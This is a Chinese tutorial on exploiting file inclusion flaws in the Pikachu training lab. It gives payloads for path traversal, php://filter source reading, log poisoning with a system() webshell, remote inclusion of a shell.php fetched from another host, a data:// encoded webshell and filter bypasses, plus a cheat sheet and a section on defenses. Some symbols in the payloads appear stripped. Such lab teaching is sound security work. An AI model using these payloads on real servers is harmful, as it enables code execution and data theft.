1. 文件包含漏洞到底是个什么东西文件包含英文叫File Inclusion说白了就是代码在运行的时候把另一个文件的代码拉进来一起执行。这个机制本身不是坏事反而是一种非常常见且高效的代码复用手段。你写PHP也好写JSP也好写Python也好几乎每种语言都有类似的功能。比如PHP里的include、require、include_once、require_once都是干这个事的。问题出在哪儿出在“拉谁进来”这个决定权上。如果这个决定权被用户可控的输入影响了那就出大事了。攻击者可以想办法让程序去包含一个本不该被包含的文件轻则泄露敏感信息重则直接执行恶意代码把整个服务器拿下。我拿生活里的例子给你类比一下。你家里有个智能音箱你说“播放我收藏夹里的歌”它就播你收藏的歌这没问题。但如果这个音箱的语音识别可以被别人远程操控别人说“播放我U盘里的文件”然后它真去执行了那就完蛋了。文件包含漏洞就是这个道理——程序本来只该包含自己目录下的模板文件结果被攻击者一忽悠去包含了系统里的密码文件甚至包含了攻击者自己上传的恶意脚本。在Pikachu这个练习平台上文件包含被单独列为一个系列说明它在Web安全里属于基础但极其重要的一类漏洞。很多刚入门的朋友觉得文件包含不如SQL注入、XSS那么“有名”但实际上文件包含一旦利用成功往往能直接拿到服务器权限危害等级非常高。而且它经常和其他漏洞组合使用比如文件上传加文件包含就是经典的组合拳。这篇文章我会从原理到实操把Pikachu文件包含系列里涉及的东西全部拆开讲一遍。不管你是刚接触安全的新手还是已经有一定基础想回头巩固的从业者都能从里面找到可以直接上手复现的步骤和踩坑经验。2. 文件包含漏洞的核心原理与分类2.1 本地文件包含与远程文件包含的本质区别文件包含漏洞按包含文件的来源分成两大类本地文件包含Local File Inclusion简称LFI和远程文件包含Remote File Inclusion简称RFI。本地文件包含指的是程序包含了服务器本机上的文件。这个文件可以是系统自带的配置文件、日志文件、临时文件也可以是攻击者通过其他手段上传到服务器上的文件。LFI的利用思路通常是读取敏感信息或者结合文件上传、日志投毒等技巧实现代码执行。远程文件包含指的是程序通过URL去包含一个远程服务器上的文件。这个远程文件可以是攻击者自己控制的服务器上的恶意脚本。RFI一旦成功基本等同于直接拿到服务器权限因为攻击者可以让服务器去执行自己写的任意代码。两者的核心区别在于LFI需要攻击者想办法把恶意代码“弄到”目标服务器上而RFI只需要目标服务器能访问到攻击者的服务器就行。RFI的利用门槛更低但前提是PHP配置里allow_url_include选项是开启的。这个选项在PHP 5.2之后默认就是关闭的所以现在RFI在实际环境里越来越少见但LFI依然是重灾区。在Pikachu平台上文件包含的练习通常同时覆盖LFI和RFI两种场景让你直观感受两者的区别和利用方式。2.2 为什么文件包含漏洞如此普遍你可能会问这么明显的安全问题为什么还会频繁出现原因其实很现实。第一很多老代码在早期开发时根本没有安全意识。开发人员觉得“我传个文件名进去程序去包含对应的文件多方便啊”完全没考虑用户会传什么奇怪的东西进来。这种“方便优先”的思维在早期Web开发里非常普遍。第二文件包含的入口往往隐藏得很深。一个看起来只是用来切换页面语言的参数比如?langcn背后可能就是include($_GET[lang] . .php)。攻击者只要把cn换成别的路径就能包含任意文件。这种隐蔽性让很多开发者在代码审查时容易忽略。第三文件包含漏洞的利用方式非常灵活。它不像SQL注入那样有比较固定的利用模式文件包含可以结合日志、临时文件、/proc文件系统、PHP伪协议等多种技巧攻击面非常广。防御起来也需要考虑很多细节不是简单加个过滤就能搞定的。第四很多CMS、框架、插件的历史遗留代码里都存在文件包含问题。你不可能把所有依赖都重写一遍只能打补丁而补丁往往容易被绕过。2.3 文件包含漏洞的常见触发点文件包含漏洞通常出现在以下几个位置模板加载功能比如根据用户选择的主题加载对应的模板文件语言包切换根据用户的语言偏好加载对应的语言文件模块加载根据URL参数加载不同的功能模块缓存文件读取根据缓存键名读取对应的缓存文件日志查看功能根据日期或类型读取日志文件这些功能的共同特点是都需要“动态决定加载哪个文件”而“动态”就意味着有用户输入参与。只要用户输入没有被严格限制就可能出问题。在Pikachu的文件包含练习里你会看到一个典型的场景页面通过URL参数来决定包含哪个文件比如?filenamexxx。这个参数就是攻击入口。3. Pikachu文件包含实操环境搭建与准备3.1 环境搭建的两种主流方式要复现Pikachu的文件包含漏洞你得先把环境跑起来。目前主流的方式有两种一种是直接用集成环境比如phpStudy、XAMPP这类一键包另一种是用Docker自己搭。我个人推荐用Docker原因很简单干净、可移植、随时可以删掉重来。你不需要担心把本机的PHP配置搞乱也不需要手动去调各种扩展。Pikachu官方也提供了Docker镜像拉下来就能用。如果你对Docker不熟用phpStudy也完全没问题。下载安装之后把Pikachu的源码放到网站根目录创建一个数据库导入Pikachu自带的SQL文件改一下数据库配置文件就能访问了。整个过程大概十分钟。注意不管你用哪种方式都建议在虚拟机或者隔离环境里操作。文件包含漏洞的练习过程中你可能会读取到系统敏感文件甚至执行系统命令。在真实主机上操作有风险万一配置不当可能影响你的正常工作环境。3.2 PHP配置的关键参数文件包含漏洞的利用方式和PHP的配置参数密切相关。有几个参数你必须了解配置项默认值作用对漏洞利用的影响allow_url_includeOff是否允许包含远程文件开启时RFI可利用关闭时只能LFIallow_url_fopenOn是否允许打开远程文件影响部分伪协议的可用性open_basedir无限制PHP可访问的目录设置后LFI的读取范围受限disable_functions无禁用的PHP函数影响命令执行等后续利用在Pikachu的练习环境里通常allow_url_include是开启的方便你同时练习LFI和RFI。但在真实的生产环境里这个选项应该是关闭的。你在做安全评估时如果发现目标allow_url_include是开启的那RFI的风险就直接拉满了。你可以写一个简单的PHP文件来查看当前配置?php phpinfo(); ?访问这个文件搜索allow_url_include就能看到当前状态。在Pikachu环境里你还可以通过文件包含漏洞本身来读取php.ini文件验证配置。3.3 练习前的知识储备在开始实操之前你需要对以下知识点有基本了解PHP的include、require、include_once、require_once四个语句的区别相对路径和绝对路径的概念URL编码和路径穿越的基本原理Linux和Windows系统常见敏感文件的路径如果你对这些还不太熟建议先花半小时补一下。不然你在实操的时候会一头雾水不知道为什么输入../../etc/passwd就能读到东西。include和require的区别在于include在文件不存在时只产生警告脚本继续执行require在文件不存在时产生致命错误脚本终止。include_once和require_once则确保同一个文件只被包含一次。在文件包含漏洞里通常用的是include因为开发者希望即使文件加载失败页面也不要完全崩溃。路径穿越的原理很简单../表示返回上一级目录。如果你从/var/www/html/pikachu/vul/fileinclude/出发连续用几个../就能回到根目录然后访问任意文件。这就是为什么../../../../etc/passwd能读到系统用户文件。4. 本地文件包含的完整利用流程4.1 发现并确认文件包含入口第一步永远是找入口。在Pikachu的文件包含模块里你会看到一个页面上面有几个链接比如“包含file1.php”、“包含file2.php”之类的。你点击这些链接观察URL的变化。典型的URL长这样http://localhost/pikachu/vul/fileinclude/fi_local.php?filenamefile1.phpsubmit提交这里的filename参数就是可疑点。你把file1.php改成file2.php页面内容变了说明程序确实在根据这个参数包含文件。接下来你尝试改成file3.php如果页面报错说文件不存在那就进一步确认了程序没有对文件名做白名单校验只是简单地拼接路径然后包含。这时候你可以尝试传入一个绝对路径比如/etc/passwd。如果页面直接显示了passwd文件的内容那这个漏洞就坐实了。实操心得有些程序会在文件名后面自动拼接.php后缀比如include($_GET[filename] . .php)。这种情况下你传../../../../etc/passwd实际包含的是../../../../etc/passwd.php当然找不到。这时候你需要用空字节截断%00或者PHP伪协议来绕过。不过空字节截断在PHP 5.3.4之后已经被修复了所以现在更多用伪协议。4.2 利用路径穿越读取敏感文件确认漏洞存在之后下一步就是读取有价值的文件。在Linux系统上以下文件是重点目标/etc/passwd系统用户列表可以确认服务器上有哪些用户/etc/shadow密码哈希文件但通常只有root可读/etc/hosts主机名解析配置/proc/self/environ当前进程的环境变量可能包含敏感信息/proc/self/cmdline当前进程的启动命令/var/log/apache2/access.logWeb访问日志可以用于日志投毒/var/log/auth.log认证日志在Windows系统上重点目标包括C:\Windows\System32\drivers\etc\hostsC:\Windows\win.iniC:\boot.ini老系统C:\Windows\System32\config\SAM通常不可读在Pikachu环境里你通常是在Linux容器里操作所以重点练习读取/etc/passwd和/proc/self/environ。读取/etc/passwd的Payload?filename../../../../../../etc/passwd你需要根据当前脚本所在目录的深度来调整../的数量。一般来说从Web根目录出发5到6个../就能到达根目录。你可以先读/etc/passwd试试如果不行就再加一层。注意路径穿越的层数不是越多越好。有些系统对路径长度有限制或者对../做了过滤。你可以尝试用URL编码绕过比如把../编码成%2e%2e%2f或者用双写绕过比如....//。这些技巧在后面的绕过章节会详细讲。4.3 利用PHP伪协议读取源码路径穿越能读系统文件但读PHP源码就不行了。因为PHP文件被包含后会被当作代码执行而不是显示内容。你想看源码得用PHP的伪协议。最常用的伪协议是php://filter。它的作用是对数据流进行过滤处理。你可以用它把PHP文件的内容用base64编码后输出这样就不会被当作代码执行了。Payload格式?filenamephp://filter/convert.base64-encode/resourcefile1.php访问之后页面会输出一串base64字符串。你把它复制下来用base64解码就能看到file1.php的源码了。这个技巧在实战中非常有用。你可以用它读取配置文件找到数据库密码、API密钥等敏感信息。在Pikachu环境里你可以尝试读取fi_local.php本身的源码看看它是怎么实现的。实操心得php://filter的过滤器可以链式使用。比如你可以先用convert.base64-encode编码再用string.strip_tags去掉HTML标签。不过最常用的还是单纯的base64编码。另外resource后面的路径可以是相对路径也可以是绝对路径。如果目标文件在Web目录下直接用文件名就行。4.4 利用日志投毒实现代码执行读取文件只是第一步真正的目标是执行代码。LFI本身不能直接执行代码但你可以结合日志投毒来实现。原理是这样的Web服务器会把每个HTTP请求记录到访问日志里包括User-Agent、请求路径等。如果你在User-Agent里写入PHP代码这段代码就会被记录到日志文件里。然后你用LFI去包含这个日志文件PHP就会执行日志里的代码。具体步骤用Burp Suite或者curl发送一个请求把User-Agent改成?php system(id); ?找到日志文件的路径通常是/var/log/apache2/access.log或/var/log/nginx/access.log用LFI包含这个日志文件?filename../../../../../../var/log/apache2/access.log如果成功页面会显示id命令的执行结果这个技巧的关键在于日志文件的路径要正确而且日志文件要可读。在Pikachu的Docker环境里日志路径可能是/var/log/apache2/access.log你可以先用LFI读取/etc/apache2/apache2.conf来确认日志配置。注意日志投毒的成功率取决于多个因素。如果日志文件太大包含的时候可能会超时。如果日志文件被轮转了你写入的内容可能已经不在当前日志里了。另外有些服务器会把User-Agent做HTML编码导致你的PHP代码被转义。这时候你可以尝试把代码写在请求路径里或者用其他HTTP头。5. 远程文件包含的利用与限制5.1 RFI的利用条件与实操远程文件包含的利用比LFI更直接。你只需要在自己的服务器上放一个恶意PHP文件然后让目标服务器去包含它。假设你的服务器IP是192.168.1.100你在上面放了一个shell.php内容如下?php system($_GET[cmd]); ?然后你在Pikachu的URL里传入?filenamehttp://192.168.1.100/shell.phpcmdwhoami如果allow_url_include是开启的目标服务器就会去你的服务器拉取shell.php并执行。页面会显示whoami命令的结果。在Pikachu的练习环境里你可以用本机起一个简单的HTTP服务来模拟远程服务器。比如用Pythonpython3 -m http.server 8000然后把shell.php放在当前目录URL里写http://你的IP:8000/shell.php。5.2 RFI被限制时的替代思路现实环境中allow_url_include通常是关闭的。这时候RFI就走不通了但你可以用其他方式达到类似效果。第一种思路是用data://伪协议。这个协议允许你把数据直接写在URL里不需要远程服务器。Payload格式?filenamedata://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4这里的base64字符串是?php system($_GET[cmd]); ?的编码。如果allow_url_include开启data://协议就可以用。第二种思路是用php://input伪协议。这个协议允许你读取POST请求的原始数据。你可以把PHP代码放在POST body里然后让LFI包含php://input。不过这个技巧需要allow_url_include开启而且要求请求方法是POST。第三种思路是结合文件上传。你先通过文件上传漏洞把恶意文件传到服务器上然后用LFI包含它。这个组合拳非常经典因为文件上传通常会对文件内容做检查但LFI不管内容只负责包含。两者结合绕过能力极强。5.3 RFI与LFI的实战选择在实际评估中你应该优先尝试LFI因为它的利用条件更宽松。LFI不需要allow_url_include开启只需要有文件包含入口和路径穿越的可能。如果LFI能读取文件你就先读敏感文件收集信息。然后尝试日志投毒或者结合文件上传。如果这些都不行再考虑RFI。RFI虽然利用直接但限制也多。除了allow_url_include还需要目标服务器能出网。很多生产环境的服务器是内网隔离的根本访问不到外网RFI自然就用不了。在Pikachu平台上两种场景都会让你练习目的是让你理解两者的区别和各自的利用条件。6. 文件包含的绕过技巧与防御策略6.1 常见过滤规则与绕过方法开发者在修复文件包含漏洞时通常会加一些过滤规则。但很多过滤规则并不严谨可以被绕过。下面是一些常见的过滤方式和对应的绕过技巧。过滤方式示例代码绕过方法替换../为空str_replace(../, , $file)用....//替换后变成../替换../一次同上用..././替换后变成../禁止http://str_replace(http://, , $file)用HTTP://大写绕过禁止php://同上用PHP://大写绕过只允许特定后缀$file . .php用%00截断老版本PHP白名单校验in_array($file, $allowed)尝试路径穿越或伪协议双写绕过是最常用的技巧。比如程序把../替换成空字符串你传....//程序处理后会变成../因为中间的../被删掉了剩下的..和//拼起来就是../。大小写绕过也很常见。很多过滤函数是区分大小写的但URL协议和文件路径在大多数系统上不区分大小写。你传HTTP://或者PhP://可能就能绕过。实操心得在测试绕过时建议用Burp Suite的Repeater模块方便你快速修改Payload并观察响应。你可以把常见的绕过Payload整理成一个列表逐个测试。另外注意观察错误信息有时候错误信息会告诉你程序用了什么过滤函数这对构造绕过Payload很有帮助。6.2 防御文件包含漏洞的正确姿势从防御角度来说文件包含漏洞的修复并不复杂但需要做得彻底。第一永远不要用用户输入直接拼接文件路径。如果确实需要动态加载文件用白名单机制。比如你有一个语言包切换功能就定义一个数组[cn zh.php, en en.php]用户传cn就加载zh.php传其他值就加载默认值。这样用户输入永远不会直接进入文件路径。第二设置open_basedir限制PHP可访问的目录。这样即使有文件包含漏洞攻击者也只能在指定目录里折腾读不到系统文件。第三关闭allow_url_include和allow_url_fopen。这两个选项在生产环境里应该始终是关闭的。除非你的业务确实需要否则不要开。第四对文件路径做规范化处理。用realpath()函数把路径转换成绝对路径然后检查这个路径是否在允许的目录范围内。这样可以防止路径穿越。第五日志文件和其他敏感文件要设置好权限。Web服务器用户不应该有权限读取/etc/shadow日志文件也不应该对Web用户可读。最小权限原则在这里非常重要。6.3 文件包含与其他漏洞的组合利用文件包含很少单独使用它通常和其他漏洞组合形成更强大的攻击链。最常见的组合是文件上传加文件包含。文件上传漏洞允许你上传恶意文件但可能因为后缀名检查、内容检查等原因上传的文件无法直接访问或执行。这时候你用文件包含去包含这个文件就能绕过这些限制。因为文件包含不关心文件后缀也不关心文件内容它只负责把文件拉进来执行。另一个组合是SQL注入加文件包含。你可以通过SQL注入把恶意代码写入数据库然后用文件包含去包含数据库文件。不过这个技巧需要数据库文件路径可预测而且文件包含能读到数据库文件。还有SSRF加文件包含。SSRF允许你让服务器发起请求你可以用SSRF去访问内网服务然后用文件包含去读取内网服务的响应。这个组合在复杂网络环境里非常有用。在Pikachu平台上虽然每个漏洞是分开练习的但你可以自己尝试组合。比如先利用文件上传传一个图片马然后用文件包含去包含它。这种组合练习能让你更深入地理解漏洞之间的关联。7. 常见问题排查与实操避坑指南7.1 文件包含练习中的典型报错与解决在实操过程中你肯定会遇到各种报错。下面整理了一些常见问题和解决方法。问题一包含文件时提示“failed to open stream: No such file or directory”这个报错说明路径不对。你需要确认当前脚本所在目录然后计算正确的../层数。你可以先用php://filter读取当前脚本的源码看看它是在哪个目录下执行的。或者用?filename../../../../../../etc/passwd逐层增加../直到成功。问题二包含/etc/passwd时页面空白页面空白通常说明文件被包含了但内容没有输出。这可能是因为PHP把文件内容当作代码执行了而/etc/passwd的内容不是合法PHP代码所以没有输出。你可以用php://filter的base64编码来读取这样内容会以base64字符串形式输出。问题三日志投毒时包含日志文件没有执行代码首先确认日志文件路径是否正确。你可以先用LFI读取/etc/apache2/apache2.conf或/etc/nginx/nginx.conf找到CustomLog或access_log配置。其次确认日志文件是否可读。有些系统日志文件权限是640Web用户读不了。最后确认你的PHP代码是否被正确写入日志。你可以先用LFI读取日志文件搜索你的User-Agent看看写入的内容是什么样。问题四RFI时提示“URL file-access is disabled”这个报错说明allow_url_include是关闭的。你需要在php.ini里把它改成On然后重启Web服务。在Docker环境里你可以进入容器修改配置或者用docker run时挂载自定义的php.ini。7.2 实操避坑经验分享第一个坑路径层数算错。很多人第一次做LFI的时候不知道要写几个../。我的建议是从5个开始试不行就加。你也可以用?filename../../../../../../etc/passwd这种“暴力”方式多写几个../反正多了也不会报错系统会自动处理。第二个坑忽略URL编码。有些特殊字符在URL里需要编码比如空格要写成%20#要写成%23。如果你直接传/etc/passwd可能没问题但如果你传的路径里有空格就必须编码。另外在URL里表示空格如果你传的路径里有要写成%2B。第三个坑日志投毒时User-Agent被转义。有些WAF或者服务器配置会把User-Agent里的特殊字符做HTML编码导致你的PHP代码变成lt;?php ... ?gt;这样就不会被执行。你可以尝试把代码写在请求路径里或者用其他HTTP头比如X-Forwarded-For。第四个坑Docker环境里日志路径不对。不同的Docker镜像日志路径可能不一样。Apache的日志通常在/var/log/apache2/Nginx的日志在/var/log/nginx/。你可以用docker exec进入容器用find / -name access.log找一下。第五个坑忘记关allow_url_include。在练习RFI的时候如果你发现http://协议用不了先检查allow_url_include是不是Off。在Pikachu的Docker镜像里这个选项通常是开启的但如果你自己搭环境可能默认是关闭的。7.3 文件包含漏洞速查表场景Payload示例说明读取Linux系统文件?filename../../../../../../etc/passwd路径层数根据实际情况调整读取PHP源码?filenamephp://filter/convert.base64-encode/resourceindex.php输出base64编码的源码执行系统命令?filenamedata://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4cmdid需要allow_url_include开启日志投毒User-Agent设为?php system(id); ?然后包含日志文件日志路径需确认包含远程文件?filenamehttp://your-server/shell.php需要allow_url_include开启绕过../过滤?filename....//....//....//etc/passwd双写绕过绕过后缀拼接?filename../../../../../../etc/passwd%00空字节截断PHP 5.3.4之前有效这张表可以放在手边测试的时候随时参考。但记住每个环境都不一样Payload需要根据实际情况调整。不要死记硬背理解原理才是关键。8. 从文件包含看Web安全的学习路径文件包含这个漏洞看起来简单但深入下去涉及的知识面非常广。你需要懂PHP配置、懂Linux文件系统、懂HTTP协议、懂日志机制、懂伪协议、懂绕过技巧。这也是为什么Pikachu把它单独列为一个系列——它值得你花时间反复练习。我自己在学文件包含的时候最大的体会是不要只满足于“能读到/etc/passwd”。读到文件只是第一步你要思考的是这个文件里有什么信息这些信息能帮我做什么我能不能用它来进一步利用比如你读到/etc/passwd发现服务器上有个用户叫deploy那你可以尝试猜他的密码或者找他的SSH密钥。你读到/proc/self/environ发现里面有数据库连接字符串那你可以直接连数据库。另一个体会是文件包含的绕过技巧需要不断更新。老的技巧可能在新版本PHP里失效了但新的技巧又会出现。你要保持学习关注最新的安全研究。比如最近几年比较火的pearcmd.php利用技巧就是通过LFI包含PHP自带的PEAR命令行工具来实现代码执行。这个技巧在allow_url_include关闭的情况下也能用非常实用。最后我想说的是文件包含漏洞的防御其实不难难的是开发者的安全意识。很多漏洞的产生不是因为技术有多复杂而是因为开发者图省事。作为安全从业者你能做的就是不断测试、不断发现、不断推动修复。每一次成功的漏洞挖掘都是在让互联网变得更安全一点。这个系列后续还可以扩展到更多伪协议的利用比如zip://、phar://、expect://等。每个伪协议都有特定的利用条件和场景值得单独研究。如果你对文件包含已经比较熟悉了可以尝试去挑战一些CTF题目里面经常有文件包含的变种能帮你巩固和拓展知识。